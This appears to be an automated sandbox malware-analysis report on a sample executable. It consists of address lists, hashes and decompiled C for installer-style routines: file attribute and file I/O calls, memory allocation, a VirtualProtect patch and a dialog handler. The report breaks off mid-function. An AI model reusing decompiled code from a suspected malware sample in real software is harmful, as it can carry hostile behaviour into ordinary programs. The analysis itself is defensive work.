0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406696
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406617
0x00406614

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be6e9d30e93fbb49eb3c361b8f1c94b7932ac8d56391751c3e2361f0828e0a06
Instruction ID: f7c6f07f586ed293a1c67bf574783cb577a0acbc2814a7f5ecfd539a56c9ebac
Opcode Fuzzy Hash: be6e9d30e93fbb49eb3c361b8f1c94b7932ac8d56391751c3e2361f0828e0a06
Instruction Fuzzy Hash: AF715671D00229CBDF28CF98C844BADBBB1FF44305F15816AD816BB281C7785A46DF54

Uniqueness

Uniqueness Score: -1.00%

Function 73862921, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x73864038 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x7386404c, 4, 0x40, 0x7386403c); // executed
					 *0x7386404c = 0xc2;
					 *0x7386403c = 0;
					 *0x73864044 = 0;
					 *0x73864058 = 0;
					 *0x73864048 = 0;
					 *0x73864040 = 0;
					 *0x73864050 = 0;
					 *0x7386404e = 0;
				}
				return 1;
			}

0x7386292a
0x7386292f
0x7386293f
0x73862947
0x7386294e
0x73862953
0x73862958
0x7386295d
0x73862962
0x73862967
0x7386296c
0x7386296c
0x73862974

APIs

VirtualProtect.KERNELBASE(7386404C,00000004,00000040,7386403C), ref: 7386293F

Strings

`gxt@Mxt, xrefs: 7386293F

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID: `gxt@Mxt
API String ID: 544645111-1126417519
Opcode ID: 8cc5e3b36966a9038b4ac31c474989581ef078aa8784726844ea7f28bd6982bc
Instruction ID: bf470ec2df723b0a4076f5eadaab1ebc7ac2f4c9a0bfad6b2a4551294e6f614b
Opcode Fuzzy Hash: 8cc5e3b36966a9038b4ac31c474989581ef078aa8784726844ea7f28bd6982bc
Instruction Fuzzy Hash: F0F092B3508EB1DEC3E1EFAB84447093FE1A319254B29656AE59CDF243E37440488B13

Uniqueness

Uniqueness Score: -1.00%

Function 004056B4, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004056B4(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x004056b8
0x004056c5
0x004056da
0x004056e0

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C62,C:\Users\user\Desktop\US1pwXib6h.exe,80000000,00000003), ref: 004056B8
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004056DA

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction ID: 518821d5ca0a74227a37217cadb520a33af9faec79942caa6648154b48e23ab6
Opcode Fuzzy Hash: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction Fuzzy Hash: DDD09E71658301AFEF098F20DE1AF2E7AA2EB84B01F10962CB646940E0D6715C15DB16

Uniqueness

Uniqueness Score: -1.00%

Function 00405695, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405695(CHAR* _a4) {
				signed char _t3;

				_t3 = GetFileAttributesA(_a4); // executed
				if(_t3 != 0xffffffff) {
					return SetFileAttributesA(_a4, _t3 & 0x000000fe);
				}
				return _t3;
			}

0x00405699
0x004056a2
0x00000000
0x004056ab
0x004056b1

APIs

GetFileAttributesA.KERNELBASE(?,004054A0,?,?,?), ref: 00405699
SetFileAttributesA.KERNEL32(?,00000000), ref: 004056AB

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 6114cdacef20a61ffb1e354697c2a54f95ff97830a0005cd613603337fba2c3c
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: 72C04CB1808501BBD6015B24DF0D81F7B66EB51321B508F35F56DE00F1C7355CA6DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 73862A38, Relevance: 1.6, APIs: 1, Instructions: 143
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E73862A38(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t28;
				void* _t29;
				void* _t33;
				void* _t37;
				void* _t40;
				void* _t45;
				void* _t49;
				signed int _t56;
				void* _t61;
				void* _t70;
				intOrPtr _t72;
				signed int _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t94;

				if( *0x73864040 != 0 && E7386297D(_a4) == 0) {
					 *0x73864044 = _t93;
					if( *0x7386403c != 0) {
						_t93 =  *0x7386403c;
					} else {
						E73862F60(E73862977(), __ecx);
						 *0x7386403c = _t93;
					}
				}
				_t28 = E738629AB(_a4);
				_t94 = _t93 + 4;
				if(_t28 <= 0) {
					L9:
					_t29 = E7386299F();
					_t72 = _a4;
					_t79 =  *0x73864048;
					 *((intOrPtr*)(_t29 + _t72)) = _t79;
					 *0x73864048 = _t72;
					E73862999();
					_t33 = CreateFileA(??, ??, ??, ??, ??, ??, ??); // executed
					 *0x7386401c = _t33;
					 *0x73864020 = _t79;
					if( *0x73864040 != 0 && E7386297D( *0x73864048) == 0) {
						 *0x7386403c = _t94;
						_t94 =  *0x73864044;
					}
					_t80 =  *0x73864048;
					_a4 = _t80;
					 *0x73864048 =  *((intOrPtr*)(E7386299F() + _t80));
					_t37 = E7386298B(_t80);
					_pop(_t81);
					if(_t37 != 0) {
						_t40 = E738629AB(_t81);
						if(_t40 > 0) {
							_push(_t40);
							_push(E738629B6() + _a4 + _v8);
							_push(E738629C0());
							if( *0x73864040 <= 0 || E7386297D(_a4) != 0) {
								_pop(_t88);
								_pop(_t45);
								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
								if(__eflags == 0) {
								}
								asm("loop 0xfffffff5");
							} else {
								_pop(_t89);
								_pop(_t49);
								 *0x7386403c =  *0x7386403c +  *(_t89 + _t49) * 4;
								asm("loop 0xffffffeb");
							}
						}
					}
					_t107 =  *0x73864048;
					if( *0x73864048 == 0) {
						 *0x7386403c = 0;
					}
					E738629E4(_t107, _a4,  *0x7386401c,  *0x73864020);
					return _a4;
				}
				_push(E738629B6() + _a4);
				_t56 = E738629BC();
				_v8 = _t56;
				_t77 = _t28;
				_push(_t68 + _t56 * _t77);
				_t70 = E738629C8();
				_t87 = E738629C4();
				_t90 = E738629C0();
				_t61 = _t77;
				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
					_push( *((intOrPtr*)(_t70 + _t61)));
				}
				_push( *((intOrPtr*)(_t87 + _t61)));
				asm("loop 0xfffffff1");
				goto L9;
			}

0x73862a48
0x73862a59
0x73862a66
0x73862a7a
0x73862a68
0x73862a6d
0x73862a72
0x73862a72
0x73862a66
0x73862a83
0x73862a88
0x73862a8e
0x73862ad2
0x73862ad2
0x73862ad7
0x73862adc
0x73862ae2
0x73862ae4
0x73862aea
0x73862af7
0x73862af9
0x73862afe
0x73862b0b
0x73862b1e
0x73862b24
0x73862b2a
0x73862b2b
0x73862b31
0x73862b3d
0x73862b43
0x73862b4b
0x73862b4c
0x73862b4f
0x73862b5a
0x73862b5c
0x73862b68
0x73862b6e
0x73862b76
0x73862ba2
0x73862ba3
0x73862ba5
0x73862ba9
0x73862ba9
0x73862bb0
0x73862b86
0x73862b86
0x73862b87
0x73862b95
0x73862b9e
0x73862b9e
0x73862b76
0x73862b5a
0x73862bb2
0x73862bb9
0x73862bbb
0x73862bbb
0x73862bd4
0x73862be2
0x73862be2
0x73862a99
0x73862a9a
0x73862a9f
0x73862aa3
0x73862aa8
0x73862abc
0x73862abd
0x73862abe
0x73862ac0
0x73862ac5
0x73862ac7
0x73862ac7
0x73862aca
0x73862ad0
0x00000000

APIs

CreateFileA.KERNELBASE(00000000), ref: 73862AF7

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 114f78c7adf0e486a6a794d456d795429caefa898c983240df83cba021037748
Instruction ID: 4a3c2a2a63edcf6706f1892de1012560881ef275e8c7c669a4187d8cdedf28a5
Opcode Fuzzy Hash: 114f78c7adf0e486a6a794d456d795429caefa898c983240df83cba021037748
Instruction Fuzzy Hash: 74414073504B2CDFEB11AFEAD881B5D3776EB44315F2894A9E509CB243D6389441CB93

Uniqueness

Uniqueness Score: -1.00%

Function 0040304E, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040304E(void* _a4, long _a8) {
				int _t6;
				long _t10;

				_t10 = _a8;
				_t6 = ReadFile( *0x409014, _a4, _t10,  &_a8, 0); // executed
				if(_t6 == 0 || _a8 != _t10) {
					return 0;
				} else {
					return 1;
				}
			}

0x00403052
0x00403065
0x0040306d
0x00000000
0x00403074
0x00000000
0x00403076

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402EA7,000000FF,00000004,00000000,00000000,00000000), ref: 00403065

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction ID: cf04fcf122da41e7499d2f74f705547a68887b1f6d4f421339b8fb166199a16f
Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction Fuzzy Hash: 2AE08C32901118BBCF205E619C00EAB3B5CEB053A2F00C032FA14E52A0D630EA11DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00403080, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403080(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409014, _a4, 0, 0); // executed
				return _t2;
			}

0x0040308e
0x00403094

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402DE9,000081E4), ref: 0040308E

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 7386101B, Relevance: 1.3, APIs: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E7386101B(signed int _a4) {
				signed int _t2;
				void* _t4;

				_t2 = E738614BB();
				if(_t2 != 0) {
					_t4 = GlobalAlloc(0x40, _t2 * _a4); // executed
					_push(_t4);
				} else {
					_push(_t2);
				}
				return E738614E2();
			}

0x7386101b
0x73861022
0x7386102f
0x73861035
0x73861024
0x73861024
0x73861024
0x7386103c

APIs

GlobalAlloc.KERNELBASE(00000040,?,73861019,00000001), ref: 7386102F

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 31e12d153717707d4ace7b42d1aa6acefbaa51bb7090b5456630b1fd8ee227e2
Instruction ID: a33aff6d5c2a964df393a49c78bacbd7600835b7bc786d9f2b84e61100da097e
Opcode Fuzzy Hash: 31e12d153717707d4ace7b42d1aa6acefbaa51bb7090b5456630b1fd8ee227e2
Instruction Fuzzy Hash: E0C08CB2500B42FBEA1092FA8947F1A22AF8B48241F20C400F746DA0C3DA34C2004232

Uniqueness

Uniqueness Score: -1.00%

Function 73861215, Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E73861215() {
				void* _t1;

				_t1 = GlobalAlloc(0x40,  *0x7386405c); // executed
				return _t1;
			}

0x7386121d
0x73861223

APIs

GlobalAlloc.KERNELBASE(00000040,73861233,?,738612CF,-7386404B,738611AB,-000000A0), ref: 7386121D

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 036c8766c0bb1865156d5a9f3bf8106e305a5639369c3bdad5033510631fa716
Instruction ID: 14da08f1af1c26582b2b6fa8fd6619e758682fbb0163cd05b3451da11ab78bde
Opcode Fuzzy Hash: 036c8766c0bb1865156d5a9f3bf8106e305a5639369c3bdad5033510631fa716
Instruction Fuzzy Hash: 05A00273D44D20DBDE86BBE2CA0BF183B21E748701F24A040E35D6D1A6C6B68014DB37

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004046CA, Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 478
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E004046CA(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v24;
				long _v28;
				int _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				intOrPtr _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t182;
				intOrPtr _t183;
				int _t189;
				int _t196;
				intOrPtr _t198;
				long _t202;
				signed int _t206;
				signed int _t217;
				void* _t220;
				void* _t221;
				int _t227;
				intOrPtr _t231;
				signed int _t232;
				signed int _t233;
				signed int _t240;
				signed int _t242;
				signed int _t245;
				signed int _t247;
				struct HBITMAP__* _t250;
				void* _t252;
				char* _t268;
				signed char _t269;
				long _t274;
				int _t280;
				signed int* _t281;
				int _t282;
				long _t283;
				signed int* _t284;
				int _t285;
				long _t286;
				signed int _t287;
				long _t288;
				signed int _t291;
				int _t294;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				intOrPtr _t309;
				int* _t310;
				void* _t311;
				int _t315;
				int _t316;
				int _t317;
				signed int _t318;
				void* _t320;
				void* _t328;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t182 = GetDlgItem(_a4, 0x408);
				_t280 =  *0x423ea8; // 0x7afcf4
				_t320 = SendMessageA;
				_v8 = _t182;
				_t183 =  *0x423e90; // 0x7afb48
				_t315 = 0;
				_v32 = _t280;
				_v20 = _t183 + 0x94;
				if(_a8 != 0x110) {
					L23:
					__eflags = _a8 - 0x405;
					if(_a8 != 0x405) {
						_t289 = _a16;
					} else {
						_a12 = _t315;
						_t289 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					__eflags = _a8 - 0x4e;
					if(_a8 == 0x4e) {
						L28:
						__eflags = _a8 - 0x413;
						_v16 = _t289;
						if(_a8 == 0x413) {
							L30:
							__eflags =  *0x423e99 & 0x00000002;
							if(( *0x423e99 & 0x00000002) != 0) {
								L41:
								__eflags = _v16 - _t315;
								if(_v16 != _t315) {
									_t232 = _v16;
									__eflags =  *((intOrPtr*)(_t232 + 8)) - 0xfffffe6e;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
									}
									_t233 = _v16;
									__eflags =  *((intOrPtr*)(_t233 + 8)) - 0xfffffe6a;
									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
										__eflags =  *((intOrPtr*)(_t233 + 0xc)) - 2;
										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
											_t284 =  *(_t233 + 0x5c) * 0x418 + _t280 + 8;
											 *_t284 =  *_t284 & 0xffffffdf;
											__eflags =  *_t284;
										} else {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							__eflags = _a8 - 0x413;
							if(_a8 == 0x413) {
								L33:
								__eflags = _a8 - 0x413;
								_t289 = 0 | _a8 != 0x00000413;
								_t240 = E0040464A(_v8, _a8 != 0x413);
								__eflags = _t240 - _t315;
								if(_t240 >= _t315) {
									_t93 = _t280 + 8; // 0x8
									_t310 = _t240 * 0x418 + _t93;
									_t289 =  *_t310;
									__eflags = _t289 & 0x00000010;
									if((_t289 & 0x00000010) == 0) {
										__eflags = _t289 & 0x00000040;
										if((_t289 & 0x00000040) == 0) {
											_t298 = _t289 ^ 0x00000001;
											__eflags = _t298;
										} else {
											_t300 = _t289 ^ 0x00000080;
											__eflags = _t300;
											if(_t300 >= 0) {
												_t298 = _t300 & 0xfffffffe;
											} else {
												_t298 = _t300 | 0x00000001;
											}
										}
										 *_t310 = _t298;
										E0040117D(_t240);
										_t242 =  *0x423e98; // 0xa1
										_t289 = 1;
										_a8 = 0x40f;
										_t245 =  !_t242 >> 0x00000008 & 1;
										__eflags = _t245;
										_a12 = 1;
										_a16 = _t245;
									}
								}
								goto L41;
							}
							_t289 = _a16;
							__eflags =  *((intOrPtr*)(_t289 + 8)) - 0xfffffffe;
							if( *((intOrPtr*)(_t289 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						}
						__eflags =  *((intOrPtr*)(_t289 + 4)) - 0x408;
						if( *((intOrPtr*)(_t289 + 4)) != 0x408) {
							goto L48;
						}
						goto L30;
					} else {
